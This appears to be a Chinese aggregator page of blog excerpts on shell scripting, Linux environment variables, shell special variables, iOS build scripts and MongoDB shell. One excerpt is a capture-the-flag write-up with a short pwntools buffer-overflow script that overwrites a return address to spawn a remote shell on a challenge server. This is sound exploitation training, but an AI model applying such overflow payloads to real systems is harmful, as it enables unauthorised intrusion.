shell函数

linux环境变量 shell变量 command not found解决方法

久未见 提交于 2019-11-30 22:04:45
在Ubuntu中有如下几个文件可以设置环境变量 1、/etc/profile:在登录时,操作系统定制用户环境时使用的第一个文件,此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行。 2、/etc/environment:在登录时操作系统使用的第二个文件,系统在读取你自己的profile前,设置环境文件的环境变量。 3、~/.bash_profile: 在登录时用到的第三个文件是.profile文件,每个用户都可使用该文件输入专用于自己使用的shell信息,当用户登录时,该 文件仅仅执行一次!默认情况下,他设置一些环境变游戏量,执行用户的.bashrc文件。/etc/bashrc:为每一个运行bash shell的用户执行此文件.当bash shell被打开时,该文件被读取. 4、~/.bashrc:该文件包含专用于你的bash shell的bash信息,当登录时以及每次打开新的shell时,该该文件被读取。 几个环境变量的优先级 1>2>3 设置永久环境变量 1.环境变量配置中,要先删除.bash_profile中的三行关于.bashrc的定义,然后把环境变量配置在.bashrc中 2.选择要使用的java环境:update-alternatives –config java 3.要使得刚修改的环境变量生效:source .bashrc 4.查看环境变量:env

Pwn-level0

自作多情 提交于 2019-11-30 19:44:43
题目地址 https://dn.jarvisoj.com/challengefiles/level0.b9ded3801d6dd36a97468e128b81a65d 第一步先看文件的属性 64位 之后检查保护性 用IDA打开,观察伪代码F5 跳出hello world,然后返回vulnerable_function函数 这边发现一个可以直接get shell的函数callsystem read函数存在栈溢出,我们可以利用栈溢出把返回地址覆盖程callsystem的入口地址 需要覆盖0x88个字符 代码如下 from pwn import * r=remote('pwn2.jarvisoj.com',9881) payload='a'*0x88+p64(0x400596) r.sendline(payload) r.interactive() 执行 来源: https://www.cnblogs.com/gaonuoqi/p/11637952.html

6-2 shell编程基础

本小妞迷上赌 提交于 2019-11-30 18:54:08
shell编程基础 编程基础 Linus:Talk is cheap, show me the code 程序和编程风格 程序: 程序:算法+数据结构 数据:是程序的核心 算法:处理数据的方式 数据结构:数据在计算机中的类型和组织方式 程序编程风格: 过程式:以指令为中心,数据服务于指令 对象式:以数据为中心,指令服务于数据 shell程序:提供了编程能力,解释执行 程序的执行方式 计算机:运行二进制指令 编程语言:人与计算机之间交互的语言 低级编程语言: 机器:二进制的0和1的序列,称为机器指令。与自然语言差异太大,难懂、难写 汇编:用一些助记符号替代机器指令,称为汇编语言,如: ADD A,B 将寄存器A的数与寄存器B的数相加得到的数放到寄存器A中 汇编语言写好的程序需要汇编程序转换成机器指令 汇编语言稍微好理解,即机器指令对应的助记符,助记符更接近自然语言 高级编程语言: 编译:高级语言-->编译器-->机器代码-->执行:C,C++ 解释:高级语言-->执行-->解释器-->机器代码:shell,python,php,JavaScript,perl 编程逻辑处理方式 顺序执行 选择执行 循环执行 编程基本结构 shell编程:过程式、解释执行 编程语言的基本结构: 各种系统命令的组合 数据存储:变量、数组 表达式:a + b 语句:if shell脚本基础 shell脚本:

Linux Shell编程参考大全

故事扮演 提交于 2019-11-30 14:31:07
   本文记录Linux Shell编程中常用基本知识,方便快速入门以及查询使用。 本文主要分为以下几个部分: 一、Shell中的变量 任何编程语言中,有关变量的定义,作用范围,赋值等都是最最基本的知识。 0、默认变量 首先介绍几个shell中的默认变量。 变量 含义 $0 当前脚本名称 $1 脚本接收的第一个参数 $2 脚本接收的第二个参数 $# 脚本接收的所有参数个数 $@ 脚本接收的所有参数 $* 脚本接收的所有参数 $? 前一行命令的执行状态 示例如下: default_var.sh脚本内容 echo $0 echo $1 echo $2 echo $# echo $@ echo $* echo $? 1 hadoop@client:~$ sh default_var.sh a b c d 2 3 $0 ==> default_var.sh 4 $1 ==> a 5 $2 ==> b 6 $# ==> 4 7 $@ ==> a b c d 8 $* ==> a b c d 9 $? ==> 0 1、变量定义及赋值 hadoop@client:~$ v1=hello hadoop@client:~$ echo $v1 hello 但是要注意的是,赋值处必须为一个整体,不能有空格。 1 hadoop@client:~$ v2=hello world 2 No command

shell常用语句

佐手、 提交于 2019-11-30 10:24:44
一、常见符号 $0   当前脚本的文件名 $n 传递给脚本的参数n,比如$1表示第一个参数 $# 传递给脚本或函数的参数个数。 $*,$@ 传递给脚本或函数的所有参数 $? 上个命令的退出状态,或函数的返回值。 $$ 当前Shell脚本所在的进程ID 示例: #!/bin/bash for var in $* do echo "$var" #for循环打印所有参数 done 二、命令分隔符分号";" 作用:可以在同一行上写两个或两个以上的命令 示例: if [ "$filename" == "$1" ]; then #执行两条命令 echo "File $filename exists.";fi 三、双分号";;" 作用:用在case语句,类似于C里面的case,用来承担break作用 shell的case语法如下所示: case "变量" in "变量1") ... ;; #这里的双分号类似于break "变量2") ... ;; *) #匹配剩下的变量n ... ;; esac #case结束语句 示例: #!/bin/base variable=xyz case "$variable" in abc) echo "\$variable = abc" ;; xyz) echo "\$variable = xyz" ;; esac 来源: https://www.cnblogs

使用 shell 脚本配置 iOS 工程

╄→гoц情女王★ 提交于 2019-11-30 07:06:59
  APP开发过程中,往往需要在多个网络环境或配置中进行切换,以获取不同配置的APP,甚至有时需要用一套代码经过简单的配置生成不同的APP。而手动配置费时费力,且容易出错。这里介绍用脚本工具,去生成不同配置的APP工程。 1. 需求分析 在配置工程中我们需要事先知道有哪些配置项: APP 启动图、图标等资源文件。 APP 名称、版本号、bundleID。 APP 相关的微信 APPKey、scheme。 网络环境、部分代码替换。 provisioning profile 修改 分析以上需要配置的项,我们可以发现这些配置项可以分为 三类 ,分别是: 资源文件替换 plist 字段修改 部分代码替换 接下来介绍如何实现满足以上需求的Shell脚本。 2. 脚本设计&实现 2.1 创建脚本   首先创建一个shell脚本文件,在命令行工具中输入 touch xxx.sh 就可以创建shell脚本文件,在这里将shell脚本命名为: projectDeploy.sh 。   运行脚本时在命令行工具中切换到脚本文件所在的路径,输入: sh projectDeploy.sh 命令就可以运行脚本了。 2.2 脚本传参 我们需要传入参数告诉脚需要的具体配置,shell 脚本传入参数的方式有多种,这里只介绍一种: while getopts ":e:s:" opt do case $opt in e

Shell 三三两两(1)

北城余情 提交于 2019-11-30 05:56:11
在Shell脚本中或多或少遇到$1-$9 , $0 , $? , $! , $$ , $*, $# , $@ 这些特殊意义的命令符。如果你是一位初学者,那么恭喜你看它就像看老道写的符箓,有点摸不着边?是要死记硬背?还是理解一下再记忆呢?我想还是理解一下再记吧! 简要说明一下: 一、与参数相关: $1-$9 , $0 ,$# , $*, $@ 1)$1-$9 表给Shell的第几个参数:   在计算机语言编写一段代码总会涉及到什么形参、实参,即一段代码需要传递参数来保持灵活性。那么我们在编写shell脚本时,实际上就是实现一段功能的脚本代码,为了应对脚本灵活性那么就需要参数,那么参数们在shell脚本中使用时总要一个编号吧,否则怎么知道你是第一个,他是第二个……。现在shell爸爸说了,$1就表示第一个参数,$2就表示第2个参数,以此类推到$9表示第9个参数了;那么还要给shell脚本第10个,第11个……怎么办?shell爸爸说前面我有点考虑不足,$10到底表示第一参数$1值再加个0呢?还是第10个参数?所以shell规定了,要表示第10个,第11个……用${}包围起来,${10}表示第10个参数,${11}表示第11个参数,……以此类推。 2) $0 表示执行本Shell的脚本/命令的名称。   前面$1-$9表示给shell脚本的第几个参数,那么谁需要这些参数呢?这不简单

shell基础 -- -- >> 系统函数 之 basename和dirname的介绍

六月ゝ 毕业季﹏ 提交于 2019-11-30 04:32:46
basename 在绝对路径中取文件名称 [root@controller ping]# basename /root/Desktop/test_txt/ping/ping_exist.txt 运行结果: ping_exist . txt 带上文件的后缀名后的结果比较: 路径 空格 点后缀名 [root@controller ping] # basename /root/Desktop/test_txt/ping/ping_exist.txt .txt 运行结果: ping_exist 只取到文件名称,不带后缀名了 dirname 在输入的文件全路径中取到文件的路径 [root@controller ping]# dirname /root/Desktop/test_txt/ping/ping_exist.txt 运行结果: / root / Desktop / test_txt / ping 来源: CSDN 作者: 一个聪明的傻子 链接: https://blog.csdn.net/yang_1011123/article/details/103245697

Shell编程-条件测试 | 基础篇

∥☆過路亽.° 提交于 2019-11-30 03:18:38
什么是Shell Shell是一个命令解释器,它会解释并执行命令行提示符下输入的命令。除此之外,Shell还有另一个功能,如果要执行多条命令,它可以将这组命令存放在一个文件中,然后可以像执行Linux系统提供的其他程序一样执行这个文件,这个命令文件就叫做Shell程序或者Shell脚本。当运行这个文件时,它会像在命令行输入这些命令一样顺序地执行它们。 Shell脚本支持变量、命令行参数、交互式输入、函数模块、各种控制语句等高级编程语言的特性,如if、case、while和for等。利用Shell程序设计语言可以编写出功能非常复杂的脚本程序,把大量的任务自动化,尤其是那些需要输入大量命令而在执行过程中不太需要与用户进行干预的系统管理任务。 为了让Shell能读取并且执行Shell程序,Shell脚本的文件权限必须被设置为可读和可执行。为了让Shell可以找到程序,可以选择输入完全路径名,或者将这个脚本的路径放在PATH环境变量指定的路径列表中。Shell脚本不是复杂的程序,它是由上往下逐行解释执行的。脚本的第一行总是以“#!<Shell解释器文件路径>”开始,用来指定该脚本是使用那种Shell进行解释执行。 编写Shell脚本 1)使用VI或者其他任意的文本编辑工具创建一个名为HelloWorld.sh的文件,并在其中加入以下内容: [root@localhost ~]# vi

MongoDB的Shell操作

纵然是瞬间 提交于 2019-11-30 02:15:29
前言 本文从介绍了MongoShell 的配置、脚本、数据类型和其他指令。 MongoShell - 简介 MongoShell是一个互动的JavaScript接口的MongoDB,可以使用MongoShell来查询和更新数据以及执行管理操作。 MongoShell是MongoDB发行版的一个组件, 安装并启动MongoDB后,将MongoShell连接到正在运行的MongoDB实例,MongoDB手册中的大多数示例使用 MongoShell,然而,许多驱动程序也提供了与MongoDB类似的接口。 启动MongoShell: 在启动MongoShell之前请确保MongoDB 实例在运行,在Terminal 中键入Mongo则可以直接启动。 示例代码: ➜ ~ mongo MongoDB shell version v3.4.3 connecting to: mongodb://127.0.0.1:27017 MongoDB server version: 3.4.3 Server has startup warnings: 2017-10-19T10:41:29.922+0800 I CONTROL [initandlisten] 2017-10-19T10:41:29.923+0800 I CONTROL [initandlisten] ** WARNING: Access